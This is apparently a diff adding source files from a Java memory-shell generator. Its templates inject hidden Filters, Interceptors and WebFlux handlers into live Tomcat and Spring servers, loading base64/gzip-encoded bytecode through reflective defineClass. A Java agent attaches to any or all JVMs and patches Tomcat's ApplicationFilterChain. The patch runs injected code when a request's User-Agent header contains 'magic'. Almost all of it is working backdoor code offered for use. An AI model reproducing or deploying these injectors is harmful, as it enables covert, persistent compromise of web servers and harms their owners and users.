}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,183 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.zip.GZIPInputStream;
public class SpringMVCInterceptorInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringMVCInterceptorInjectorTpl() throws Exception {
Object context = getContext();
Object interceptor = getInterceptor();
addInterceptor(context, interceptor);
}
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object httprequest = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(httprequest, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
} catch (Exception e) {
}
if (context == null) {
try {
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception ignored) {
}
}
return context;
}
private Object getInterceptor() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
} catch (Throwable tt) {
}
}
return interceptor;
}
public void addInterceptor(Object context, Object interceptor) {
try {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
adaptedInterceptors.add(interceptor);
} catch (Exception ignored) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,185 @@
package jmg.core.template;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.server.ServerWebExchange;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.zip.GZIPInputStream;
/**
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
*/
public class SpringWebFluxHandlerMethodInjectorTpl {
public String getUrlPattern() {
return "";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringWebFluxHandlerMethodInjectorTpl() {
try {
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
Object handlerMethod = getHandlerMethod();
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
} catch (Exception ignored) {
}
}
private Object getRequestMappingHandlerMapping() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object requestMappingHandlerMapping = null;
for (int i = 0; i < threads.length; i++) {
try {
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
Object[] objects = handlerMappings.toArray();
boolean flag = false;
for (int j = 0; j < objects.length; j++) {
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
requestMappingHandlerMapping = objects[j];
flag = true;
}
}
if (flag) {
return requestMappingHandlerMapping;
}
} catch (Exception ignored) {
}
}
return requestMappingHandlerMapping;
}
public void addHandlerMethod(Object obj, Object handler) {
try {
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
} catch (Exception ignored) {
}
}
private Object getHandlerMethod() {
Object handler = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
handler = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
handler = clazz.newInstance();
} catch (Exception ignored) {
}
}
return handler;
}
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,255 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class TomcatAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String targetMethodName = "doFilter";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
" try {\n" +
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
/*
使用方法:
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
*/
public static void main(String[] args) throws Exception {
// 无参数 - 列出所有 JVM 进程 ID
if (args.length == 0) {
listAllJvmPids();
} else if (args.length == 1) {
String arg = args[0];
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
if (arg.equalsIgnoreCase("all")) {
for (String jvmProcessId : getAllJvmPids()) {
attachAgentToTargetJvm(jvmProcessId);
}
}
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
} catch (NumberFormatException e) {
/*
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
HOW tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
*/
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
}
}
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,299 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatFilterInjectorTpl();
}
public TomcatFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName());
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = getCatalinaLoader();
String filterClassName = getClassName();
String filterName = getFilterName(filterClassName);
Object filterDef;
Object filterMap;
// 防止重复注入
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
return;
}
} catch (Exception ignored) {
}
try {
// tomcat v8/9
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v6/7
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception e) {
// tomcat v5
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (int i = 0; i < threads.length; i++) {
// 适配 v5 的 Class Loader 问题
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = threads[i].getContextClassLoader();
break;
}
}
return catalinaLoader;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,236 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
